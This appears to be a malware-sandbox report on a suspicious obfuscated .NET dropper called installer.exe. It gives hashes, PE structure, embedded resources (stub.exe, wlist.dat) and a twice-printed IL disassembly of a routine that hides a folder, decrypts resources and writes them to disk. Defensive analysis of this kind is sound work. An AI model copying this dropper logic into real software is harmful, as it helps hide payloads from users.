Suspicious
Suspect

3860c03927290688db2f7769140103e4

PE Executable
MD5: 3860c03927290688db2f7769140103e4
Size: 415.74 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 3860c03927290688db2f7769140103e4
Sha1 7749c4f833ed400b43cb2188de2e45420a06d441
Sha256 77a8d1bcbc9c79e76e64b5fd50aeda23d4d9a0ca42299f0f7a72f8da032fcc54
Sha384 775d7db0bf297ba4fdd4358d1005a801ba75eb154b046f9a2910d20d2fb2ec0d1f7274b96e0ba73466a1738f0d7fa509
Sha512 53ecc0eff53529af0399b247005c8fb45dc1bea775acf9dab4655668e278c54bf74d79445df589b0c3cf0d73f7e0ef582674be437ede7c387ecd03051e7cf3cd
SSDeep 6144:H+F9Xh6cTwSSkHv7B0+N1KfoUk7ZmRP0iol6BbCecNZbYQuTQnfaKYt6/Hwz6:ecXy0+jzmsOBGecN0QnfaKYt6/Hwz6
TLSH 9D947D9DAE7CADEFD6AFC0B9C4948E9597416036131AA7438103E0EA9D0CE92DD305F7
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
3860c03927290688db2f7769140103e4
.Net Resources
stub.exe
wlist.dat
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Module Name
installer.exe
Full Name
installer.exe
EntryPoint
System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::tIfAtpNBoexJTiivdubVUltuwMyn()
Scope Name
installer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
installer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1
Main Method
System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::tIfAtpNBoexJTiivdubVUltuwMyn()
Main IL Instruction Count
190
Main IL 
nop <null>
ldc.i4 1290228380
br.s IL_0008: call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::sIIjRxELLILSfpXMWqdeTTtNTOdM(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0027: call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::bgepvWOSnnwBvbhDLafjjNDcoLmn()
nop <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
br IL_01B2: nop
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::bgepvWOSnnwBvbhDLafjjNDcoLmn()
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0037: call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::DhZfbSgEhOBaOgENGqZSQgxqQwaeB()
nop <null>
nop <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::DhZfbSgEhOBaOgENGqZSQgxqQwaeB()
stloc.s V_13
ldloc.s V_13
brtrue.s IL_004E: call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::SayTiNEtWgKKMtnYptkWhLMBIDOU()
pop <null>
br IL_01B2: nop
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
nop <null>
ldc.i4.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::QpdteVRLJFmdkMvDAmPBrpPfLasv(System.Int32)
stloc.0 <null>
ldc.i4.1 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::QpdteVRLJFmdkMvDAmPBrpPfLasv(System.Int32)
stloc.1 <null>
ldc.i4 887834215
br.s IL_006A: call System.String <Module>::VefPndYMThEOemMfzoiIKXAKOIag<System.String>(System.Int32)
call System.String <Module>::VefPndYMThEOemMfzoiIKXAKOIag<System.String>(System.Int32)
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::FskdQxcpXOyweaWqDbUdaPuikFVtb(System.String,System.String)
stloc.2 <null>
ldloc.2 <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::sIIjRxELLILSfpXMWqdeTTtNTOdM(System.String)
stloc.s V_13
ldloc.s V_13
brtrue.s IL_008B: ldloc.2
nop <null>
ldloc.2 <null>
call System.IO.DirectoryInfo XOkkymvXYfCzfGlEYLZtTqXGlbhU::uWlwubMZHUgDHYZTBDwMIauZjoQg(System.String)
pop <null>
nop <null>
ldloc.2 <null>
ldc.i4.6 <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::fmZciFYEAoJSCgGqmACFgPXWzivHA(System.String,System.IO.FileAttributes)
nop <null>
ldloc.2 <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::xmpcyyRkVKpGojcBKVOvQbaYbxRh(System.String)
nop <null>
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::KeawcsRkivYncwtxZUCYBjsbljVE(System.String)
stloc.3 <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_00B4: ldloc.0
nop <null>
leave IL_01B2: nop
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::YkvmawsOBsXpCgsAZbqeKVNgSwFr(System.String)
stloc.s V_4
call System.Reflection.Assembly XOkkymvXYfCzfGlEYLZtTqXGlbhU::DrKfyDCeFlViUIcMdOtZYZtROhrV()
stloc.s V_5
ldloc.s V_5
call System.String[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::eWkkIlVPiRenUHdPJqENsZUHzMWUA(System.Reflection.Assembly)
stloc.s V_6
nop <null>
ldloc.s V_6
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br IL_0192: ldloc.s V_15
ldloc.s V_14
ldloc.s V_15
ldelem.ref <null>
stloc.s V_7
nop <null>
ldloc.s V_5
ldloc.s V_7
call System.Byte[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::xkgjTKWaEcpDyNMolHEhBYIjLsGNA(System.Reflection.Assembly,System.String)
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00FC: ldc.i4.0
ldloc.s V_8
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_00FD: nop
ldc.i4.0 <null>
nop <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0109: ldloc.s V_8
br IL_018C: ldloc.s V_15
ldloc.s V_8
ldc.i4 -699535226
br.s IL_0112: call System.String <Module>::LLeHleSaiNlaVpGSMPqMAGDpIjPFA<System.String>(System.Int32)
call System.String <Module>::LLeHleSaiNlaVpGSMPqMAGDpIjPFA<System.String>(System.Int32)
call System.Byte[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::VGhjOsFrjxqMJsDsxkHbzGLoubkE(System.Byte[],System.String)
stloc.s V_9
ldloc.s V_7
stloc.s V_10
ldloc.s V_7
ldc.i4 -270756754
br.s IL_012B: call System.String <Module>::PBvSxinpnJJKUbaeKqfIESJJxfpC<System.String>(System.Int32)
call System.String <Module>::PBvSxinpnJJKUbaeKqfIESJJxfpC<System.String>(System.Int32)
ldc.i4.5 <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::ktekTPkMtWVPxZmwVhxyuXLMTOSl(System.String,System.String,System.StringComparison)
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0159: ldloc.2
nop <null>
ldloc.1 <null>
ldc.i4 902349927
br.s IL_014C: call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::bSCnhVuMZbUIrGEMTQrcqmezEvSS(System.String,System.String)
stloc.s V_10
nop <null>
ldloc.2 <null>
ldloc.s V_10
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::FskdQxcpXOyweaWqDbUdaPuikFVtb(System.String,System.String)
stloc.s V_12
ldloc.s V_12
ldloc.s V_9
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::RrVJNkYBqhUuTvLtthLBWrbYPHiK(System.String,System.Byte[])
nop <null>
ldloc.s V_11
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_018B: nop
nop <null>
ldloc.s V_12
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::wuVIiVgdURtlbYQcoCCkivBRRlUTA(System.String)
nop <null>
ldloc.0 <null>
ldloc.s V_12
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::bJXHsrqreEDygycqavMBWBGMatSJ(System.String,System.String)
nop <null>
nop <null>
nop <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_13
ldloc.s V_13
brtrue IL_00D9: ldloc.s V_14
nop <null>
leave.s IL_01AB: nop
pop <null>
nop <null>
nop <null>
leave.s IL_01AB: nop
nop <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::ezfBkkECxmqlUZTszfWudSOKDLIMA()
nop <null>
nop <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
Module Name
installer.exe
Full Name
installer.exe
EntryPoint
System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::tIfAtpNBoexJTiivdubVUltuwMyn()
Scope Name
installer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
installer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
1
Main Method
System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::tIfAtpNBoexJTiivdubVUltuwMyn()
Main IL Instruction Count
190
Main IL 
nop <null>
ldc.i4 1290228380
br.s IL_0008: call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::sIIjRxELLILSfpXMWqdeTTtNTOdM(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0027: call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::bgepvWOSnnwBvbhDLafjjNDcoLmn()
nop <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
br IL_01B2: nop
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::bgepvWOSnnwBvbhDLafjjNDcoLmn()
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0037: call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::DhZfbSgEhOBaOgENGqZSQgxqQwaeB()
nop <null>
nop <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::DhZfbSgEhOBaOgENGqZSQgxqQwaeB()
stloc.s V_13
ldloc.s V_13
brtrue.s IL_004E: call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::SayTiNEtWgKKMtnYptkWhLMBIDOU()
pop <null>
br IL_01B2: nop
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::gQWwCbsTwmYFklGUxKOhmKkwhfAm()
nop <null>
nop <null>
ldc.i4.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::QpdteVRLJFmdkMvDAmPBrpPfLasv(System.Int32)
stloc.0 <null>
ldc.i4.1 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::QpdteVRLJFmdkMvDAmPBrpPfLasv(System.Int32)
stloc.1 <null>
ldc.i4 887834215
br.s IL_006A: call System.String <Module>::VefPndYMThEOemMfzoiIKXAKOIag<System.String>(System.Int32)
call System.String <Module>::VefPndYMThEOemMfzoiIKXAKOIag<System.String>(System.Int32)
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::FskdQxcpXOyweaWqDbUdaPuikFVtb(System.String,System.String)
stloc.2 <null>
ldloc.2 <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::sIIjRxELLILSfpXMWqdeTTtNTOdM(System.String)
stloc.s V_13
ldloc.s V_13
brtrue.s IL_008B: ldloc.2
nop <null>
ldloc.2 <null>
call System.IO.DirectoryInfo XOkkymvXYfCzfGlEYLZtTqXGlbhU::uWlwubMZHUgDHYZTBDwMIauZjoQg(System.String)
pop <null>
nop <null>
ldloc.2 <null>
ldc.i4.6 <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::fmZciFYEAoJSCgGqmACFgPXWzivHA(System.String,System.IO.FileAttributes)
nop <null>
ldloc.2 <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::xmpcyyRkVKpGojcBKVOvQbaYbxRh(System.String)
nop <null>
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::KeawcsRkivYncwtxZUCYBjsbljVE(System.String)
stloc.3 <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_00B4: ldloc.0
nop <null>
leave IL_01B2: nop
ldloc.0 <null>
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::YkvmawsOBsXpCgsAZbqeKVNgSwFr(System.String)
stloc.s V_4
call System.Reflection.Assembly XOkkymvXYfCzfGlEYLZtTqXGlbhU::DrKfyDCeFlViUIcMdOtZYZtROhrV()
stloc.s V_5
ldloc.s V_5
call System.String[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::eWkkIlVPiRenUHdPJqENsZUHzMWUA(System.Reflection.Assembly)
stloc.s V_6
nop <null>
ldloc.s V_6
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br IL_0192: ldloc.s V_15
ldloc.s V_14
ldloc.s V_15
ldelem.ref <null>
stloc.s V_7
nop <null>
ldloc.s V_5
ldloc.s V_7
call System.Byte[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::xkgjTKWaEcpDyNMolHEhBYIjLsGNA(System.Reflection.Assembly,System.String)
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00FC: ldc.i4.0
ldloc.s V_8
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
br.s IL_00FD: nop
ldc.i4.0 <null>
nop <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0109: ldloc.s V_8
br IL_018C: ldloc.s V_15
ldloc.s V_8
ldc.i4 -699535226
br.s IL_0112: call System.String <Module>::LLeHleSaiNlaVpGSMPqMAGDpIjPFA<System.String>(System.Int32)
call System.String <Module>::LLeHleSaiNlaVpGSMPqMAGDpIjPFA<System.String>(System.Int32)
call System.Byte[] XOkkymvXYfCzfGlEYLZtTqXGlbhU::VGhjOsFrjxqMJsDsxkHbzGLoubkE(System.Byte[],System.String)
stloc.s V_9
ldloc.s V_7
stloc.s V_10
ldloc.s V_7
ldc.i4 -270756754
br.s IL_012B: call System.String <Module>::PBvSxinpnJJKUbaeKqfIESJJxfpC<System.String>(System.Int32)
call System.String <Module>::PBvSxinpnJJKUbaeKqfIESJJxfpC<System.String>(System.Int32)
ldc.i4.5 <null>
call System.Boolean XOkkymvXYfCzfGlEYLZtTqXGlbhU::ktekTPkMtWVPxZmwVhxyuXLMTOSl(System.String,System.String,System.StringComparison)
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_0159: ldloc.2
nop <null>
ldloc.1 <null>
ldc.i4 902349927
br.s IL_014C: call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String <Module>::XpyYXEdaHRfYHkaqonhShQqzuuwn<System.String>(System.Int32)
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::bSCnhVuMZbUIrGEMTQrcqmezEvSS(System.String,System.String)
stloc.s V_10
nop <null>
ldloc.2 <null>
ldloc.s V_10
call System.String XOkkymvXYfCzfGlEYLZtTqXGlbhU::FskdQxcpXOyweaWqDbUdaPuikFVtb(System.String,System.String)
stloc.s V_12
ldloc.s V_12
ldloc.s V_9
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::RrVJNkYBqhUuTvLtthLBWrbYPHiK(System.String,System.Byte[])
nop <null>
ldloc.s V_11
ldc.i4.0 <null>
ceq <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_018B: nop
nop <null>
ldloc.s V_12
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::wuVIiVgdURtlbYQcoCCkivBRRlUTA(System.String)
nop <null>
ldloc.0 <null>
ldloc.s V_12
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::bJXHsrqreEDygycqavMBWBGMatSJ(System.String,System.String)
nop <null>
nop <null>
nop <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_13
ldloc.s V_13
brtrue IL_00D9: ldloc.s V_14
nop <null>
leave.s IL_01AB: nop
pop <null>
nop <null>
nop <null>
leave.s IL_01AB: nop
nop <null>
call System.Void XOkkymvXYfCzfGlEYLZtTqXGlbhU::ezfBkkECxmqlUZTszfWudSOKDLIMA()
nop <null>
nop <null>
ret <null>
3860c03927290688db2f7769140103e4
.Net Resources
stub.exe
wlist.dat
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙